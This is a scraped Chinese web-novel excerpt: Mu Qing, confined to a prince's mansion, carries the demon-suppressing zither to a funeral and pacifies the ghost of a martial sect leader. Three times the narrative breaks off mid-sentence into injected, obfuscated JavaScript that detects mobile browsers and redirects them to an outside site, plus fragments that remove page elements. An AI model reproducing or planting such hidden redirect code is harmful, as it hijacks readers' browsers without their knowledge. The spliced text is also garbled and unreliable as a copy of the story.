找到无心时,他也正要准备出门,但一听慕情想跟他一起,立刻把头摇得像拨浪鼓:
“我这是要去办正事儿,你就别去添乱了,而且……大师兄让你在府里待着,我也不敢把你往外带啊……不然要是出点什么事儿,我是吃不了兜着走。”
无心苦着脸。
“爱莫能助,爱莫能助。”
他说罢,脚底抹油,溜得比什么都快。
慕情:“……”
第一次尝试失败,她转而又满怀希望地扑向素来热情似火、最会疼人的三师姐海棠。
找到海棠时,她正在演武场与人切磋,一身红衣如火,招式凌厉。
听闻慕情的来意,她顿时娇笑出声:
“慕情妹妹想出门?真不巧,我这两天手上清闲,没什么案子呢。你要是闲得无聊,不如来跟姐姐练一练,试试这新武器?”
她纤纤玉指一勾,从兵器架上轻松拎起两只寒光闪闪、分量十足的流星锤。
慕情看着那两个冰冷又杀气腾腾的大铁球,默默后退半步。
“……算了算了,三师姐您尽兴,我、我突然想起肉包该喂了!”
打扰了!
不等她转身跑路,海棠反而紧走几步拉住了她。
“哎呀,别急着走嘛。”她亲昵地拉她到一旁坐下,给她倒了杯热茶,“我知道你在想什么。”
海棠表情认真了些,拍拍她的手背,安慰她:“大师兄不让你出门,自有他的道理。你身子弱,他大约是怕你受累受惊。你就放宽心,安心在府里将养着,别想太多。”
话语虽柔,却也巧妙地回避了实质性的帮助。
慕情有些沮丧,又无法与她争辩。
再次失败而归,转眼时间就到了正午,吃过午饭慕情还不肯放弃。
二师兄远在边境还没有回来,慕情带着最后的希望,去找四师姐。
远远看见那抹飒爽的蓝色身影刚从屋里出来,慕情眼睛一亮,扬起手脆生生喊:“四师……”
“姐”字还在喉咙里,只见如霜身形猛地一顿,紧接着,足尖一点,整个人如惊鸿般倏然掠上屋檐,几个起落便消失在重重楼阁之后,速度快得只留下一道残影。
只从高处冷冷淡淡地飘来一句话:“有事,回来给你带吃的。”
慕情僵在原地,举着手臂,脸上的笑容彻底凝固,慢慢变成了难以置信的呆滞。
一阵冷风吹过,卷起几片枯叶,衬得她格外萧瑟凄凉。
不远处回廊下,刚从外面回来的月悬静静坐在轮椅上,刚好将刚才那一幕尽收眼底。
他的目光落在庭院中央,那瘦弱的身影茫然地望着空荡荡的屋檐,一幅委屈巴巴、仿佛被全世界抛弃的模样
月悬的眉心不自觉地拧紧,形成一道更深的刻痕。
“公子!”被派去办事的钟武回来复命,老远就喊了他一声。
慕情也听见动静,转身回头,就看到了始作俑者。他神色依旧平静无波,仿佛眼前一切与他毫无干系。
一股巨大的无力感和委屈突然涌了上来。
她看着月悬那张清冷绝尘、仿佛万事不入心的脸,张了张嘴,想说什么,喉咙却像被一团棉花死死堵住,酸涩感直冲鼻腔。
最终只挤出一句带着浓浓鼻音的无语凝噎:“……沈听寒……我讨厌你……”
月悬眸光微动,似有深潭起了涟漪,却又迅速归于平静。
他看着她泛红的眼圈和倔强抿着的唇,终是开口,声音依旧清冷,却似乎少了几分往日的寒冽:“安分些,待在府里。”
说罢,不再看她,径自转身离开。
看着他的背影消失在回廊深处,强撑的委屈和失落全面决堤,慕情终于忍不住蹲下身,把脸埋在膝盖里,一滴滚烫的泪珠砸落在冰冷的地面上,晕开一小片深色。
·
当晚,海棠拎着个食盒,悄悄来到慕情的房间,见她蔫蔫地缩在椅子里,眼睛还肿着,不由叹了口气。
她递过一方温热的帕子,柔声道:“怎么哭了,晚饭也不去吃。”
慕情垂着脑袋,声音闷闷的,带着鼻音。
“师姐……你们是不是都觉得我很烦人呀?是不是……巴不得把我送走?”
换位思考一下,如果一个完全不记得的人突然蹦出来,口口声声说是她的亲友,还各种缠着自己添麻烦……
她也会觉得有些烦恼。
若不是王爷离开的时候特意交代了一句,师兄师姐们应该也乐于将她送到别的地方安置,而不是留在王府。
慕情整个人被难以言喻的沮丧淹没,没有了之前的斗志昂扬。
海棠的动作几不可察地顿了一下:“你怎么会这么觉得?”
“虽然有时候麻烦了一些,但这般赤诚坦率,也不失可爱之处。”她笑了起来,不知从哪儿拿出一包糖渍果子,“呐,这是老四给你带的,说是下午答应你了。还有老五,饭桌上没见到你,立刻就催着我来找了。”
慕情一愣,接过那包温热的果子,又忍不住小声问:“……那他呢……”
海棠了然一笑,坐到她身边:“大师兄啊?”
她压低声音,带着点洞悉一切的狡黠:“别看他冷冷淡淡的样子,其实心里也是担心你的。莫医师前几日诊脉时提过,你身子骨底子极虚,像是受过极重的旧伤或患有难愈的旧疾,经不起半点折腾。这两日京城又下雪,你的药可曾断过一剂?”
她看着慕情微怔的表情,继续道,“我知道你在府中待得闷,可你的身份没弄清楚,师父又特意叮嘱我们照顾你。大师兄也是担心,所以才这般小心翼翼,严加看顾,不愿你乱跑出什么风险。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15700065|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
三师姐的话,像是一道微光,照亮了慕情心中因委屈而滋生的阴霾,但多少还是有些不开心。
“那我跟着你们,处理些简单的公务总可以吧?我不会添乱的!”她试图争取。
海棠却轻轻摇头,正色道:“清明司的性质特殊,处理的案子也十分复杂,不仅要面对妖鬼邪祟,还需面对人心幽微。你一个小姑娘,去掺和这些干什么?”
慕情不服气地撅嘴。
她都已经成年了,海棠师姐当年正式进入清明司协助王爷时,年纪估计比她现在还小上好几岁。
不过,她终究还是接受了海棠的解释,乖乖地吃了迟来的晚饭。
海棠陪她说了会儿话,便也离开了,前脚刚回到自己院子,后脚就被月悬叫到了止院。
书房内,灯火通明。
月悬端坐案后,手中虽执笔,目光却落在跳跃的烛火上。
“她如何了?”声音听不出情绪。
海棠在他对面坐下,如实说道:“哭过一场,委屈着呢,不过吃了点东西,哄了哄,现在好多了。”
月悬闻言,握着笔的手指几不可察地松了松,那一直微蹙的眉头也悄然舒展开一丝。
他知道慕情太闷了,需要给她点事情做。
沉默片刻,他终是开口:“……她想种桃树,就让她种吧,地方随她挑,但不能种在止院里,只能种在别处。”
海棠笑容颇有些意味深长:“行,明天我去跟她说。”
第二天慕情得到消息,心情终于转好了些。她也乐于转移注意力,也不再闹着往外跑了,好似真成了王府里最勤劳的小花匠,每日专心种树。
海棠平日喜欢侍弄花草,便也来给她帮忙,看着她像呵护珍宝一样侍弄那些桃树苗。
冬日的寒意渐深,一场细雪又悄然飘落。
月悬处理完一摞公文,略感疲惫。
他起身,习惯性地走到窗边,推开雕花木窗。寒风裹挟着细雪涌入,他的目光却不由自主地越过庭院,落在那道纤细忙碌的身影上。
围墙外,慕情正和花匠一起,小心翼翼地给新栽的桃树裹上厚厚的草席保暖。
她平日里素白的脸冻得红扑扑的,时不时停下来,把冻得通红的手指拢到嘴边,呵出一团团白气,再用力搓一搓,然后继续埋头苦干。
那专注又有点笨拙的模样,像只努力囤粮过冬的小松鼠。
钟武恰好进来给手炉添炭。
月悬的目光依旧落在窗外,声音平淡无波:“把这个,拿去给她。”
他下巴微抬,示意钟武手中刚添好的暖炉,“不必提我。”
钟武愣了一下,挠挠头,看看主子清冷的侧脸,又看看窗外冻得直跺脚的小姑娘,了然地点点头,应了声“是”,转身快步出去了。
不一会儿,慕情惊喜的声音隐约传来:“钟武?这是……给我的吗?是月悬师兄让你送来的?”
那声音里的期待几乎要溢出来。
钟武自然只能摇头:“慕情姑娘,是我看你手都冻红了,正好这炉子刚添好,就想着拿给你暖暖。”
慕情有些失落,但很快安慰好自己,来日方长。
她在止院外亲手栽了二十几株桃花,也不知来年春天,能存活下来多少。
这一日,慕情照看完桃树,从厨房拿来小鱼干喂狸花猫肉包,追着它跑到王府前院,就见钟武急匆匆地进来,询问院中的下人。
“四姑娘在府中吗?”他的语速很快。
“如霜大人?”下人回道,“今儿一早就出门了,听说是北边墨城出了个的案子。”
钟武看起来很着急,“她可说了何时回来?”
“墨城路远,来回少说也得两三日吧。”
“遭了,这可如何是好?”
慕情觉得奇怪,抱着肉包凑过去。
“钟武?你找四师姐有急事?月悬师兄呢?”
她记得钟武前几日是跟着月悬出门的,似乎说是去参加什么大人物的葬礼,同行的还有无心。
钟武眉头皱得紧紧的,额头上都急出了细汗。
“公子那边出事了!”
18. 第 18 章
这一日,慕情照看完桃树,从厨房拿来小鱼干,投喂圆滚滚的狸花猫“肉包”,追着它跑到王府前院。
忽闻大门外一阵急促的马嘶,钟武飞身而下,急匆匆地跑进来,抓住一个门房里迎出来的守卫。
“四姑娘在府中吗?”他的语速很快。
守卫被他的急色吓了一跳:“如霜大人?今儿一早天没亮就出门了,听说是北边墨城出了个紧急的案子。”
钟武的心猛地一沉。
坏了!如今已近晌午,以四姑娘的脚程,怕是已在数十里开外!
他急问道:“她可说了何时回来?”
“墨城路远,来回少说也得两三日……”
守卫话音未落,钟武已焦躁地原地踱了两步,“四姑娘和王爷都不在……这可如何是好!”
慕情在远处看得奇怪,抱着肉包凑过去。
“钟武?你找四师姐有急事?月悬师兄呢?”
她记得前几日钟武是跟着月悬和无心出门的,似乎说是去参加什么大人物的葬礼。
地点就在京郊,但进京也需花上两个时辰,所以这几日月悬和无心便住在那里,没有回来过。
算起来,也有三日时间了。
钟武看见是她,很快又扭过头,兀自沉浸在烦恼中,眉头拧成了疙瘩,语速飞快地解释了一句。
“公子那边出事了!让我回来找四姑娘帮忙。”
慕情听了心头一跳,连忙问道:“他出什么事儿了?”
钟武显然急得没空跟她多说,知道她是担心月悬,便匆忙道:“放心,公子暂时没事,此事复杂,一时难以说清楚。”
他叫来一个守卫,命他立即往北去追如霜,请她回来带镇魔琴去岚山,然后对慕情道:“我得赶紧回去复命,姑娘告辞。”
“等等。”慕情拦住他,“镇魔琴?你找四师姐是为了镇魔琴?”
“是啊。”钟武担忧月悬,心中着急,脸上便显出一丝不耐来,但因为慕情身份特殊,也只能耐心答道:“公子那边正需要镇魔琴救急。”
慕情声音冷静:“四师姐已离京半日,现在去追,就算能追上,回来也晚了。”
钟武道:“我又何尝不知,只是现在确实别无他法。”
“谁说没有?”慕情毫不犹豫地猫咪肉包往石桌上一放,让它自己去玩,然后挺直腰杆,声音清晰而果断,“我可以去啊!”
钟武诧异:“你?”
随即他看起来颇为头疼地道:“不不不,慕情姑娘,你可能不知道,镇魔琴比较特殊,并不是随便什么人都能拿得起的。而且琴藏在王府密室之中,只有王爷、公子和其他四位命使知道开启之法……”
慕情打断他:“我知道,你跟我来。”
话音未落,她就转身小跑了两步,往王府深处疾步而去。
钟武心中惊疑不定,想到岚山那边危急的形势,只能硬着头皮跟上。
两人穿过重重回廊,进入主院之中。
慕情在前,钟武紧随其后,沿途遇到守卫,他便沉声道:“奉世子之命行事,请让行!”
守卫虽惊疑,但见是世子爷心腹钟武,纷纷退避。
因为钟武的存在,慕情能够一路畅通地来到平时眷王和徒弟们议事的地方,从一处隐蔽盒子里取出钥匙,然后又出门七绕八绕地转了两圈,来到一处小楼。
慕情熟门熟路地绕过机关阵法,开门进去,找到里面一处看似普通的假山景观前,手指在几块特定的山石上以某种玄奥的韵律快速点过。
假山无声滑开,露出向下的幽深石阶。
钟武彻底惊呆了!这密室位置和开启手法,他作为世子爷的贴身侍卫都不清楚。
密室内寒气森森,通道两侧摆着不少木架,中央石台上静静躺着一把造型古朴、通体流转着幽暗色泽的七弦琴。
那琴身看似平平无奇,但仅仅是靠近,便能感受到一股磅礴浩瀚又带着凛然正气的威压,令人神魂悸动。
慕情目不斜视,直奔那石台而去。
就在她纤细的手指即将触碰到的刹那,琴身骤然亮起一层金色符文,发出一阵低沉的嗡鸣,似在抗拒。
钟武的心提到了嗓子眼!
然而下一刻,慕情指尖萦绕起一层精纯精神力,轻轻拂过琴弦。
嗡鸣声戛然而止!
暗金光芒如同温顺的水流般隐没,整张琴的威压内敛,重新变成一张普通的琴。
慕情仿佛只是拿起一件寻常乐器,轻松地将沉重的镇魔琴抱入怀中,转身看向目瞪口呆、下巴都快掉到地上的钟武。
“时间紧迫,我们快走吧,去找师兄他们。”
·
岚山比较远,慕情身体弱,莫医师特地嘱咐过不能吹风,钟武便找人安排了马车。
幸而京城附近官道畅通,路况平稳,速度倒也不慢。
这是慕情入京以来第一次出门,便趴在窗口处往外看,顺便向骑马随行在侧的钟武询问情况。
钟武从头给她说:“三日前,公子接到惊涛门的一封信……”
“惊涛门?那是什么势力?”
钟武解释道:“惊涛门是江湖上极有名望的一个帮派,总部设在江南,在多地设有分舵。帮众十万计,高手如云。
虽说是江湖帮派,但盘踞江南水网近百年,拥有庞大的水上武装船队,隐隐把控内河漕运,威慑水匪,调解水运纠纷,势力根深蒂固。”
“这么厉害呀。”慕情撑着下巴思索,马车压到石子晃了一下,险些让她磕到牙,连忙捂住,“那朝廷也容得下它吗?”
钟武不答,顿了一会儿继续说道:“惊涛门之下,无数渔民、商户和水边百姓赖之为生,在江湖上风评上佳。门中供奉着古老的水神,门主林方海被视为水神行走,人称‘海龙王’,性格豪爽豁达,年逾古稀却身手不凡,是数一数二的高手,拥有极高的威望和号召力。日前,林方海低调入京,没两天就遭横死。”
慕情若有所思地点点头:“惊涛门总部设在江南,林方海一把年纪了,为什么在这时候突然入京?”
“不清楚。”钟武摇头,“但是我猜,或许与朝廷将要推行的‘漕运改海’政策有关系。”
“哦。”慕情对此不是很感兴趣,接着问道:“那后来出了什么事?”
钟武道:“公子得到消息时,几乎同时收到了葬礼邀请函。惊涛门虽然与朝廷有着紧密关联,但表面上并无多少往来,如今突然如此积极主动邀请清明司,很可能有什么蹊跷之处。于是公子立即就带着无心大人一同前往,但没有查出什么蛛丝马迹。而且前来吊唁的人越来越多,原来惊涛门并不止是请清明司前来,还请了其他江湖高手,准备设阵问灵。”
慕情精神一振,知道事儿肯定是出在这一环。
“问灵的时候出意外了?”
“是。”钟武道,“今日凌晨,公子与其他几位受邀前来的几位高手一起,携手设下‘九幽问灵阵’,试图沟通林方海残魂,查明其真正死因。
原本前期一切正常,但在公子他们合力将内力汇聚于棺椁之上,感应林方海意识时,却异变陡生。那棺椁突然剧烈震动,涌出一股难以言喻的阴寒、暴戾、怨毒之气,棺盖轰然炸裂,咆哮着冲出一道面目扭曲狰狞、周身缠绕着黑红怨气的巨大鬼影。”
慕情惊得微微张嘴:“那老门主化成恶鬼了?”
钟武点头:“林方海生前便是江湖上的顶尖高手,化为煞鬼后更是力量狂暴无比,成型的瞬间引天地变色,猝不及防之下连续伤了好几人。
公子和与其他几位长老见状立即转换阵型,改问灵阵为缚灵阵,堪堪将煞鬼困在灵台附近。而因为煞鬼的激烈冲击和挣扎,公子等人也被困在原地,全身力量都用于维持阵法,无暇进阵处理那煞鬼。”
慕情问道:“不是说来吊唁的有多方势力,都用阵法困住了,其他人联手都解决不了?”
钟武皱眉:“问题就出在这儿,惊涛门众人不愿伤老门主魂魄,全力阻拦其他人攻击。无心大人这才让我回王府,请四姑娘带镇魔琴来帮忙。”
“原来是这样。”慕情稍稍松了一口气,看来至少情况是控制得住的。
但再耽搁下去,恐怕就不太好说了。
·
天空下起了雪,马车一路疾行。车轮碾过湿漉漉的青石板路,驶入岚山。
钟武出示清明令,一路畅通无阻地进入惊涛门分舵。
为了赶时间,马车一路未停,直接驶入原本是用来练武,现在被设为露天灵堂的前广场中。
岚山分舵的地势像个金元宝,一面朝向京城,路上交通发达,一面紧邻邺河,水运通畅。两侧则山峦环抱,建筑围绕广场呈阶梯状向上分布。
雪花飞扬,笼罩着整个广场,空气中弥漫着白烛、纸钱焚烧的浓重气味,以及一种山雨欲来的压抑。
林方海的楠木棺椁停在临时搭建的灵台上,棺盖已经破碎,断裂的木板和飞溅的木屑散落四周,周围还有不少被打翻之物,地上还散落着许多血迹,隐约可见之前的仓皇忙乱。
众人都已退至两侧山上,黑压压一片,皆是前来吊唁的各方大人物。
他们站在高处建筑前的回廊往下看,窃窃私语,气氛凝重得能滴出水来。
整个广场中心空无一人,只有六人分别盘坐边缘,皆拧眉闭目,面有薄汗,一股无形的能量在众人之间流转,灵力狂涌,形成一个圆形的网络笼罩住整个广场。
雪花落下时,触碰到那层能量,便自动化成水,滴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709810|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落而下,稀释了地面的红。
现场已经没了煞鬼的影子,但没有任何一个人敢有所松懈。
阵法中不时涌起的能量波动,说明煞鬼并没有消失,而是影藏了身形,并且仍在不断地在阵法中冲击撕扯,不时发出凄厉的鬼啸。
每一次冲击,都让盘坐的六人身形微震,面色更白一分。
广场边缘,众人严阵以待,都紧张地观察着下方局势。
有人逐渐急得按捺不住。
“还等什么?!”一个满脸虬髯的壮汉挥舞着拳头,声如洪钟,“林老门主一世英豪,如今化作这等邪物,若让它脱困,后果不堪设想!趁现在合力灭了它,才是对他老人家最大的敬重!”
“王铁拳!你放屁!”
惊涛门一位须发皆白的长老气得浑身发抖,被弟子搀扶着站出来:
“当年若不是门主将你从水中救起,你早已跟着沉船化成水鬼!现在,你竟要让他魂飞魄散?!”
“糊涂啊!”另一位看似儒雅的中年人急得跺脚,“林长老!王帮主话糙理不糙!这困灵阵已维持了将近半日,阵中即便都是顶尖高手,也有力竭之时。一旦力竭阵破……况且,这可不是一般的煞鬼,谁能制得住?届时血流成河,不止你我,连周围百姓都要遭殃,惊涛门百年基业与声望毁于一旦,林老门主泉下岂能心安?!”
惊涛门的人虽有动摇,但仍不肯放弃,坚持说道:“清明司的几位大人已派人回京取镇魔琴,只需再坚持一会儿即可。”
“镇魔琴虽然名气大,但能不能压住这煞鬼还是个未知数呢,再说了万一还没等来,阵就破了怎么办?不如趁着现在,众人合力,想办法将其斩杀于阵内,以绝后患。”
“就是,这已经不是老门主了,而是一只没有神志的煞鬼,你们还在顾虑什么?”
众人纷纷应和,嚷嚷着就要对着阵法中能量波动之处动手。
“谁敢动门主魂魄,先从我惊涛门弟子的尸身上踏过去!”惊涛门长老怒喝一声。
一群惊涛门帮众不顾自身安危,竟主动围在阵法外围,形成一道人墙,阻止任何人以强力手段“超度”老门主的魂魄。
气势顿时剑拔弩张,加上他们皆穿着灰白麻衣,在风雪中瑟瑟飘荡,倒有些悲凉决绝之意。
两方一时僵持住了,这时有人冲另一头喊:“无心、追影两位大人!你们倒是说句话啊!这事儿怎么办?!”
无心站在另一面高台上,抱着一柄长剑冷眼旁观,闻言也未回话,懒得搭理他们。
在他身边,则是一个身材高大,气质更成熟的男人,长着一张不算出众,但轮廓硬朗、浓眉深眼,肤色是常年在外奔波的古铜色。
他身着深灰色的常服,布料厚实粗糙,上面有不少磨损的痕迹。正是刚从边关回来,昨日才跟他们在此汇合的清明司老二,风使——追影,本名风剑屏。
见他们二人皆不做声,又有人道:“是啊是啊,这都过去几个时辰了,贵属怎么还未回来?阵法一破,该如何收场。”
无心表面上高深莫测,实际也是心急如焚,心里计算着时间,按理说以钟武和如霜的速度,这会儿应该已经到了才对,难道路上出了什么意外?
追影在旁边看了他一眼,沉声道:“稍安勿躁,再怎么样,还有大师兄在底下呢。”
无心便也忍住了破口骂那些人的冲动,懒懒接了一句:“几位阵法维持者还没说什么呢,你就知道阵法要破了?王帮主这般急迫,不如您先自己进去跟老门主过上两招,测测他的实力?否则贸然一哄而上,说不定反送人头。”
那姓王的帮主被噎得面红耳赤,张了张嘴,终是没敢接话,悻悻地缩回了人群。
然而质疑并未平息。
“哼,谁知道那镇魔琴是不是浪得虚名?”
一个阴阳怪气的声音响起,来自角落一个眼神闪烁的瘦高个,“朝廷的东西,对付这等凶煞,怕是不顶用。依我看,既然惊涛门自己都不在意,大家还不如想想自己的安危,尽早离去……”
这话说得实在没有骨气,也违背江湖义气,如今惊涛门陷入危机,他们既在场,怎能先跑?
众人都是略带不屑地看他一眼,
但也有人同样不耐烦,跟着喊道,“惊涛门已然魔怔了!镇魔琴何在?再不来,我等只能强行动手了!”
就在这时,一阵急促的马蹄和车轮声由远及近,吸引了所有人的目光。
“来了!是眷王府的马车!”不知是谁喊了一声。
一辆带着显眼眷王府徽记的马车,快速驶入广场,在边缘险险停住。
车帘掀开,一道纤细的身影抱着几乎与她身形不太相称的古朴长琴,轻盈地跃下车辕。
“镇魔琴在我这里。”
19. 第 19 章
少女的声音不大,却奇异地穿透了鬼啸、怒吼与灵力碰撞的嘈杂,清晰地传入每一个人耳中。
清冷,镇定,带着一种奇异的穿透力。
细雪飞扬中,她青衣素净,头戴白纱帷帽,怀抱黑色古琴,一步步走向那混乱狂暴、充斥着高手威压和阴森鬼气的广场。
刹那间,无数道惊疑、探究的目光,齐刷刷聚焦在这个突然出现的陌生少女身上。
所有人都不由自主地被她吸引了注意力,虽看不清脸,但风中衣袂纷飞,身姿袅娜,踏着轻柔的步子,如雪神降临。
窃窃私语如同潮水般蔓延:
“那是谁?”
“清明司的雪使如霜?”
“我见过如霜,身形气质都不像。”
“她能拿起镇魔琴,应是眷王府中的人。”
“是又如何,看起来年纪不大,派这么点小姑娘来能干什么?”
……
慕情下车第一时间,就是找人,目光扫过场中盘腿而坐的几个头发花白的老头子和两个中年人,最后停在月悬的身上。
他一身素服,面容冷峻如霜,唯有额角的青筋偶尔跳动,显示出维持此阵的艰难。
慕情松了口气。
他们一路奔驰,她屁股都要颠紫了,总算没有来迟。
听到外面的动静,月悬睁开眼,跟慕情对上了视线,眉头立即微皱起来。
慕情微微掀开眼前的白纱,歪头冲他露出一个大大的笑脸。
结果月悬的眉头皱得更深了,抬头看向无心和追影所在的方向。
无心也看到了慕情,眼珠子都快瞪出来了。
他噌的一下飞身而下,赶到她身边,他对着钟武喝道:“这里这么乱你带她来干什么?老四呢?”
钟武百口莫辩,一时不知怎么辩解。
慕情抢道:“师姐不在,你们不是要镇魔琴吗?”
她低头示意怀里的琴。
无心急得:“光有琴没用啊,大师兄困在阵中,现在只有四师姐……不对,你是怎么拿起来的?”
无心的表情有点裂开了。
此琴有灵,对精神力要求极高,普通人无法拿起。清明司几人的路数各有不同,除了他们的师父眷王以外,只有月悬和如霜能使用镇魔琴。
·
熙熙攘攘的人群之外,有人站在不起眼的角落里,冷眼观察,见状面色微变,招来一个随从,附耳低声道:
“回去禀报大人,又生变故,清明司还有另外一个能拿起镇魔琴的人。”
“是!”
那人接到命令,立即便转身离开了。
更高之处,接近山顶的一栋建筑里,衣着华贵的年轻男子靠在窗前,懒洋洋的神色突然变得饶有兴致起来。
“这就是眷王府中,突然出现的那个小师妹?”
“回主子,应该就是她。”
“这可不太像你们查到的,性格柔软、身体孱弱、武功平平……镇魔琴,就是我,也不定能拿得起。”
旁边的人诚惶诚恐地跪下,“小的这就命人再去细查。”
男子浑不在意地挥了挥手,“起来吧。这个小丫头,实在有趣,能让眷王匆匆离京,想来更值得深入查一查。”
月悬心中同样有疑问,但现在却顾不得更多了,阵中煞鬼仍在不断冲击,阵法摇摇欲坠,必须尽快处理。
他略微分了点心神,强行压下翻腾的气血,对无慕情说道:“琴给我!”
他顿了一下,怕慕情不小心误入阵法,立即补充道:“无心,带她从旁边绕过来。”
无心有些担忧,大师兄维持阵法本就已经艰难,如何分得出心神来弹琴制鬼?
可现在也没有别的办法,总不能继续任老门主的鬼魂肆虐,到时即便能将其打散,只怕也会伤亡惨重。
而慕情体弱,若强行弹奏,轻则精神重创,重则神志受损!
他一咬牙,就要实施轻功带慕情快速去往月悬身边。
慕情却躲开了他的手,对月悬的命令置若罔闻。
她抱着琴,运起轻功“流云纵”,踏着雪花飞身而起,步伐没有丝毫停顿,径直进了困灵阵法。
刚穿过能量膜,雪花化成细雨迎面吹来,沾湿了她的鬓发,同时迎面袭来的,还有那双目赤红、毫无理智、只想毁灭一切的煞鬼。
它的速度极快,爪风过处,劲气纵横,撞击在阵法边缘,激起一阵阵无形的涟漪。若是修为稍弱者,怕是会直接被掀飞,吐血重伤。
它似乎感应到镇魔琴的气息,变得更加狂暴,卷起一阵阵阴风。
而场外众人看不到老门主的魂魄,只看到那青衣少女突然毫无预兆地飞身入阵法中,感觉到一股庞大的能量像她袭来。
一时间,惊呼声四起!众人都紧盯着场中。
无心一时阻拦不及,目眦欲裂,就要不管不顾冲上去!
一直在旁边沉默关注的追影在无心冲动的瞬间,一把按住了他的肩膀,“别动,别干扰她。”
他的目光紧紧锁在慕情身上,充满了探究。
电光火石间,慕情动了。
她并未躲闪,反而迎着那爪风向前轻盈地踏出一步。足尖点地的瞬间,身体以一个不可思议的、近乎预判的角度微微一侧。
嗤啦!
爪风擦着她的衣袖掠过,将青色的布料撕裂一道口子,在她的手臂上留下一道浅浅的血痕。
那一刹那交手,不少人都面露不忍,以为这姑娘怕是要遭遇不测。
但转眼间,她已如穿花蝴蝶般,险之又险地滑入了阵法核心区域。
这一切只在瞬息发生,无心一愣,忍不住喃喃叹道:“没想到咱们‘小师妹’如此深藏不露……”
追影道:“她就是你信中说的那姑娘?”
“是啊,要真是咱们小师妹也不错,看这身手,真是人不可貌相……”
慕情对周遭的一切恍若未闻。
她躲着煞鬼的追击,一路穿过阵法中心,顶着月悬的目光,在他所在的阵基处落脚,盘膝坐在他身边,将镇魔琴置于膝上,十指轻轻搭在了冰冷的琴弦上。
煞鬼丝毫不惧,呼啸而来。
铮——!
第一声琴音,并非宏大,却如一道清冽的冰泉,瞬间刺破了混乱狂暴的能量场。带着一种难以言喻的穿透力和安抚人心的奇异韵律。
紧接着,琴音如流水般倾泻而出,不断冲击着那煞鬼身周翻腾的黑气。
她的双手在琴弦上翻飞跳跃,速度快得几乎带起残影。
随着她的弹奏,那琴音仿佛化为了实质,一道道肉眼可见的淡金色音波涟漪,以她为中心扩散开来,精准
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709811|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无比地缠绕、渗透向那狂暴的煞鬼。
“这是‘归魂引’?竟不知眷王何时又受了这么一个小徒弟。”坐于月悬对面的老者说道。
不需要做任何介绍,众人已知晓她是月悬等人的同门师妹。
场外众人亦满脸不可思议:“她竟能如此精准地操控镇魔琴?月悬能做到如此吗?”
在那一圈圈淡金色涟漪的缠绕抚慰下,狂暴的煞鬼在空中慢慢显出身形,动作开始变得迟缓,眼中的赤红也如潮水般缓缓褪去,露出痛苦和茫然交织的底色。
最后一缕琴音消失,老门主的残魂已回归平静,朝慕情遥遥一拜,身影又重新消散在众人视线中。
惊涛门众人一急,连忙喊道:“门主!你们把门主怎么了?!”
慕情颇有些头疼,按了按额角,“别慌,他还在这里。”
众人面面相觑,慕情对月悬说道:“你们要问什么,可以重新设问灵阵来问了。”
在下面维持阵法的,基本上是这里武功最高的那一批,自然能够感觉到阵中狂乱的能量已经平息,互相对视一眼后,撤销了阵法能量。
有几位老者骤然放松,险些身形不稳,吐出一口血来,下方小辈连忙上前搀扶。
经过这一番折腾,问灵之事又不能再拖,恐生变故,于是只能换几人上来代替。
众人忙乱的间隙中,月悬深深地看着身边的慕情,眼神复杂难辨。
慕情压下精神上的疲惫,把琴放在身边,拉住他的袖子,笑着道:“我厉不厉害?”
“很厉害。”月悬答道,眼角似乎也带着一分浅浅的笑意,只一瞬即散,然后看向她手臂上刺目的血痕,“让无心带你下去包扎。”
慕情知道他还有事要忙,但还是趁热打铁地凑近他,笑意吟吟地提出要求。
“那我这次帮了这么大的忙,是不是可以在止院中种桃树了?”
可惜一提到这事儿,月悬的态度就重新变得冷硬起来:“王府这么多地方,还不够你种的?”
慕情皱了皱鼻子:“那不一样……”
月悬只是摇头,声音柔和了一些:“镇魔琴弹奏起来精神消耗极大,无需强撑着,先去休息吧。”
他都这么说了,慕情干脆脑门一晃,“噗通”一下栽在他肩膀上,闻到他身上淡淡的冷香。
月悬顿时浑身一僵。
感觉到他的身体反应,慕情反应更快,火速抬起头来,抱起琴跑走了。
大庭广众的,随便占一下便宜蒜了,她可不想再被月悬一掌拍到地上去。
但光是这短短的片刻互动,已经让不少人感到惊异了。
众人只见这位以冷情著称的月使大人,竟然跟一个姑娘凑头低语,神色虽然平淡,眼神却不似面对常人时那般冰冷。
更何况,她居然还在月悬肩上靠了一下!
不少关注着这边的年轻女子,一口银牙都要咬碎了!
查!给我去查!这到底是何方神圣?!
一夕之间,“清明司多了个小师妹”的消息不胫而走,等无心等人反应过来的时候,否认已经没有任何意义了……
追影最是从善如流,掏出一本拳法秘籍,认真道:“小师妹,这是为兄的见面礼。”
